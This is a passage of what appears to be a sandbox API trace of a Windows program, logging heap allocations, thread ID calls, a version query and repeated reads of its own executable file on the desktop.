(HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18388 [0072.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6478 [0072.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6538 [0072.142] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2a718c0 [0072.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6538 | out: hHeap=0x2ad0000) returned 1 [0072.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18388 | out: hHeap=0x2ad0000) returned 1 [0072.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd98 | out: hHeap=0x2ad0000) returned 1 [0072.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6468 | out: hHeap=0x2ad0000) returned 1 [0072.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718c0 | out: hHeap=0x2ad0000) returned 1 [0072.142] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6d548, Size=0x160) returned 0x2a853d0 [0072.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70160 | out: hHeap=0x2ad0000) returned 1 [0072.143] GetCurrentThreadId () returned 0x9b0 [0072.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a6d548 [0072.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6d548 | out: hHeap=0x2ad0000) returned 1 [0072.143] GetCurrentThreadId () returned 0x9b0 [0072.143] GetCurrentThreadId () returned 0x9b0 [0072.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a772c0 | out: hHeap=0x2ad0000) returned 1 [0072.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a855d0 | out: hHeap=0x2ad0000) returned 1 [0072.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a76e30 | out: hHeap=0x2ad0000) returned 1 [0072.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b21ed0 | out: hHeap=0x2ad0000) returned 1 [0072.143] GetCurrentThreadId () returned 0x9b0 [0072.143] GetCurrentThreadId () returned 0x9b0 [0072.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2b21ed0 [0072.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b21ed0 | out: hHeap=0x2ad0000) returned 1 [0072.143] GetCurrentThreadId () returned 0x9b0 [0072.143] GetCurrentThreadId () returned 0x9b0 [0072.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2b21ed0 [0072.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b21ed0 | out: hHeap=0x2ad0000) returned 1 [0072.143] GetCurrentThreadId () returned 0x9b0 [0072.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x90) returned 0x2a77af8 [0072.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a263c8 [0072.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6f520 | out: hHeap=0x2ad0000) returned 1 [0072.143] GetCurrentThreadId () returned 0x9b0 [0072.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2b21ed0 [0072.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b21ed0 | out: hHeap=0x2ad0000) returned 1 [0072.143] GetCurrentThreadId () returned 0x9b0 [0072.143] GetVersionExA (in: lpVersionInformation=0x9baa20*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x72fb6df7, dwMinorVersion=0x29f9150, dwBuildNumber=0x29faac0, dwPlatformId=0x7312fcb8, szCSDVersion="\xc0\xaa\x9f\x02\x30\xc0\x9f\x02\xb8\xfc\x12\x73") | out: lpVersionInformation=0x9baa20*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0072.143] GetCurrentThreadId () returned 0x9b0 [0072.143] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2b21ed0 [0072.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b21ed0 | out: hHeap=0x2ad0000) returned 1 [0072.143] GetCurrentThreadId () returned 0x9b0 [0072.143] GetCurrentThreadId () returned 0x9b0 [0072.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b21c40 | out: hHeap=0x2ad0000) returned 1 [0072.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6e870 | out: hHeap=0x2ad0000) returned 1 [0072.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a75c08 | out: hHeap=0x2ad0000) returned 1 [0072.144] GetCurrentThreadId () returned 0x9b0 [0072.144] GetCurrentThreadId () returned 0x9b0 [0072.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a75c08 [0072.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a75c08 | out: hHeap=0x2ad0000) returned 1 [0072.144] GetCurrentThreadId () returned 0x9b0 [0072.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x150) returned 0x2a772c0 [0072.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.144] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd98, Size=0x20) returned 0x2a1f920 [0072.144] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f920, Size=0x40) returned 0x2a18e18 [0072.144] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a195e8 [0072.144] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a195e8, Size=0x8c) returned 0x2a75c08 [0072.144] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a75c08, Size=0xb8) returned 0x2a75c08 [0072.144] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a75c08, Size=0xe8) returned 0x2a75c08 [0072.144] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a75c08, Size=0x120) returned 0x2a76e30 [0072.144] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a76e30, Size=0x160) returned 0x2b21c40 [0072.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a772c0 | out: hHeap=0x2ad0000) returned 1 [0072.144] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a73700, Size=0x1b4) returned 0x2b21da8 [0072.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b21c40 | out: hHeap=0x2ad0000) returned 1 [0072.144] GetCurrentThreadId () returned 0x9b0 [0072.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a75c08 [0072.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a75c08 | out: hHeap=0x2ad0000) returned 1 [0072.144] GetCurrentThreadId () returned 0x9b0 [0072.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a1fd98 [0072.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd98 | out: hHeap=0x2ad0000) returned 1 [0072.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71580 [0072.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0072.144] GetCurrentThreadId () returned 0x9b0 [0072.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a75c08 [0072.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a6e870 [0072.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a76e30 [0072.144] GetCurrentThreadId () returned 0x9b0 [0072.145] GetCurrentThreadId () returned 0x9b0 [0072.145] GetCurrentThreadId () returned 0x9b0 [0072.145] GetCurrentThreadId () returned 0x9b0 [0072.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a76e30 | out: hHeap=0x2ad0000) returned 1 [0072.145] GetCurrentThreadId () returned 0x9b0 [0072.145] GetCurrentThreadId () returned 0x9b0 [0072.145] GetLastError () returned 0x0 [0072.145] SetLastError (dwErrCode=0x0) [0072.145] GetLastError () returned 0x0 [0072.145] SetLastError (dwErrCode=0x0) [0072.145] GetLastError () returned 0x0 [0072.145] SetLastError (dwErrCode=0x0) [0072.145] GetLastError () returned 0x0 [0072.145] SetLastError (dwErrCode=0x0) [0072.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20048 [0072.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd98 | out: hHeap=0x2ad0000) returned 1 [0072.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad6578 [0072.145] GetLastError () returned 0x0 [0072.145] SetLastError (dwErrCode=0x0) [0072.145] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.145] GetFileType (hFile=0x1d4) returned 0x1 [0072.145] GetFileType (hFile=0x1d4) returned 0x1 [0072.145] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0072.146] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0072.146] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0072.146] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0072.146] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0072.146] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0072.146] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0072.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0072.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20048 | out: hHeap=0x2ad0000) returned 1 [0072.146] GetLastError () returned 0x0 [0072.146] SetLastError (dwErrCode=0x0) [0072.146] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=8750947, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x858763 [0072.146] GetCurrentThreadId () returned 0x9b0 [0072.146] GetLastError () returned 0x0 [0072.146] SetLastError (dwErrCode=0x0) [0072.146] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=6843445, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x686c35 [0072.146] GetCurrentThreadId () returned 0x9b0 [0072.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xbb5) returned 0x2a19e90 [0072.146] GetLastError () returned 0x0 [0072.146] SetLastError (dwErrCode=0x0) [0072.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a1aa50 [0072.146] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a1aa50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2a1aa50*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0072.147] GetCurrentThreadId () returned 0x9b0 [0072.147] GetLastError () returned 0x0 [0072.147] SetLastError (dwErrCode=0x0) [0072.147] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x687c35 [0072.147] GetLastError () returned 0x0 [0072.147] SetLastError (dwErrCode=0x0) [0072.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa50 | out: hHeap=0x2ad0000) returned 1 [0072.147] CloseHandle (hObject=0x1d4) returned 1 [0072.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2a1aa50 [0072.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2a85d58 [0072.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa50 | out: hHeap=0x2ad0000) returned 1 [0072.148] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a85d58, Size=0x224b) returned 0x2a85d58 [0072.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19e90 | out: hHeap=0x2ad0000) returned 1 [0072.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.148] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd98, Size=0x20) returned 0x2a1fad8 [0072.148] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fad8, Size=0x40) returned 0x2a19010 [0072.148] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19010, Size=0x64) returned 0x2a19428 [0072.148] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19428, Size=0x8c) returned 0x2a76e30 [0072.148] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a76e30, Size=0xb8) returned 0x2a76e30 [0072.148] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a76e30, Size=0xe8) returned 0x2a76e30 [0072.148] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a76e30, Size=0x120) returned 0x2a76e30 [0072.148] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a76e30, Size=0x160) returned 0x2b21c40 [0072.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b21c40 | out: hHeap=0x2ad0000) returned 1 [0072.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85d58 | out: hHeap=0x2ad0000) returned 1 [0072.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6598 [0072.148] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6598 | out: hHeap=0x2ad0000) returned 1 [0072.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6ef00 [0072.148] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6f088 [0072.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a257b8 [0072.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6f088 | out: hHeap=0x2ad0000) returned 1 [0072.149] GetCurrentThreadId () returned 0x9b0 [0072.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a76e30 [0072.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a6d548 [0072.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2b21c40 [0072.149] GetCurrentThreadId () returned 0x9b0 [0072.149] GetCurrentThreadId () returned 0x9b0 [0072.149] GetCurrentThreadId () returned 0x9b0 [0072.149] GetCurrentThreadId () returned 0x9b0 [0072.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b21c40 | out: hHeap=0x2ad0000) returned 1 [0072.149] GetCurrentThreadId () returned 0x9b0 [0072.149] GetCurrentThreadId () returned 0x9b0 [0072.149] GetLastError () returned 0x0 [0072.149] SetLastError (dwErrCode=0x0) [0072.149] GetLastError () returned 0x0 [0072.149] SetLastError (dwErrCode=0x0) [0072.149] GetLastError () returned 0x0 [0072.149] SetLastError (dwErrCode=0x0) [0072.149] GetLastError () returned 0x0 [0072.149] SetLastError (dwErrCode=0x0) [0072.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20228 [0072.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd98 | out: hHeap=0x2ad0000) returned 1 [0072.149] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad6528 [0072.149] GetLastError () returned 0x0 [0072.149] SetLastError (dwErrCode=0x0) [0072.149] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.150] GetFileType (hFile=0x1d4) returned 0x1 [0072.150] GetFileType (hFile=0x1d4) returned 0x1 [0072.150] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0072.150] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0072.150] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0072.150] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0072.150] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0072.150] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0072.150] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0072.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6528 | out: hHeap=0x2ad0000) returned 1 [0072.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20228 | out: hHeap=0x2ad0000) returned 1 [0072.150] GetLastError () returned 0x0 [0072.150] SetLastError (dwErrCode=0x0) [0072.150] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=6846421, lpDistanceToMoveHigh=0x9b9fe8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9fe8*=0) returned 0x6877d5 [0072.150] GetCurrentThreadId () returned 0x9b0 [0072.150] GetLastError () returned 0x0 [0072.150] SetLastError (dwErrCode=0x0) [0072.150] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=6853021, lpDistanceToMoveHigh=0x9ba380*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba380*=0) returned 0x68919d [0072.150] GetCurrentThreadId () returned 0x9b0 [0072.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1d31) returned 0x2a19e90 [0072.150] GetLastError () returned 0x0 [0072.150] SetLastError (dwErrCode=0x0) [0072.150] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a19ea4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba348, lpOverlapped=0x0 | out: lpBuffer=0x2a19ea4*, lpNumberOfBytesRead=0x9ba348*=0x1000, lpOverlapped=0x0) returned 1 [0072.151] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a1bbd0 [0072.151] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a1bbd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba334, lpOverlapped=0x0 | out: lpBuffer=0x2a1bbd0*, lpNumberOfBytesRead=0x9ba334*=0x1000, lpOverlapped=0x0) returned 1 [0072.151] GetCurrentThreadId () returned 0x9b0 [0072.151] GetLastError () returned 0x0 [0072.151] SetLastError (dwErrCode=0x0) [0072.151] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b900c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b900c*=0) returned 0x68b19d [0072.151] GetLastError () returned 0x0 [0072.151] SetLastError (dwErrCode=0x0) [0072.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1bbd0 | out: hHeap=0x2ad0000) returned 1 [0072.151] CloseHandle (hObject=0x1d4) returned 1 [0072.151] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2a1bbd0 [0072.151] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2a85d58 [0072.151] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8000) returned 0x2aa3960 [0072.152] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a85d58, Size=0x8015) returned 0x2aab968 [0072.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa3960 | out: hHeap=0x2ad0000) returned 1 [0072.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1bbd0 | out: hHeap=0x2ad0000) returned 1 [0072.152] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2aab968, Size=0x5bd9) returned 0x2aab968 [0072.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19e90 | out: hHeap=0x2ad0000) returned 1 [0072.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2a9) returned 0x2a85538 [0072.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.152] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd98, Size=0x20) returned 0x2a1fba0 [0072.152] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fba0, Size=0x40) returned 0x2a18f80 [0072.152] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18f80, Size=0x64) returned 0x2a195e8 [0072.153] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a195e8, Size=0x8c) returned 0x2b21c40 [0072.153] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2b21c40, Size=0xb8) returned 0x2b21c40 [0072.153] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2b21c40, Size=0xe8) returned 0x2b21c40 [0072.153] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2b21c40, Size=0x120) returned 0x2b21c40 [0072.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x240) returned 0x2a772c0 [0072.153] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2b21c40, Size=0x160) returned 0x2b21c40 [0072.153] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2b21c40, Size=0x1a8) returned 0x2a857f0 [0072.153] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a857f0, Size=0x1f8) returned 0x2a857f0 [0072.153] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a857f0, Size=0x250) returned 0x2a857f0 [0072.153] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a857f0, Size=0x2b4) returned 0x2a18638 [0072.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18638 | out: hHeap=0x2ad0000) returned 1 [0072.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aab968 | out: hHeap=0x2ad0000) returned 1 [0072.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6458 [0072.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6458 | out: hHeap=0x2ad0000) returned 1 [0072.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a70780 [0072.154] GetCurrentThreadId () returned 0x9b0 [0072.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2b21c40 [0072.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a857f0 [0072.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a85900 [0072.154] GetCurrentThreadId () returned 0x9b0 [0072.154] GetCurrentThreadId () returned 0x9b0 [0072.154] GetCurrentThreadId () returned 0x9b0 [0072.154] GetCurrentThreadId () returned 0x9b0 [0072.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a85900 | out: hHeap=0x2ad0000) returned 1 [0072.154] GetCurrentThreadId () returned 0x9b0 [0072.155] GetCurrentThreadId () returned 0x9b0 [0072.155] GetLastError () returned 0x0 [0072.155] SetLastError (dwErrCode=0x0) [0072.155] GetLastError () returned 0x0 [0072.155] SetLastError (dwErrCode=0x0) [0072.155] GetLastError () returned 0x0 [0072.155] SetLastError (dwErrCode=0x0) [0072.155] GetLastError () returned 0x0 [0072.155] SetLastError (dwErrCode=0x0) [0072.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a1ffe8 [0072.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd98 [0072.155] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fd98 | out: hHeap=0x2ad0000) returned 1 [0072.155] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad6558 [0072.155] GetLastError () returned 0x0 [0072.155] SetLastError (dwErrCode=0x0) [0072.155] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.155] GetFileType (hFile=0x1d4) returned 0x1 [0072.155] GetFileType (hFile=0x1d4) returned 0x1 [0072.155] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0072.155] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0072.155] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0072.155] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0072.155] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0072.155] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0072.155] FileTimeToSystemTime (in: lpFileTime=0x9b9928, 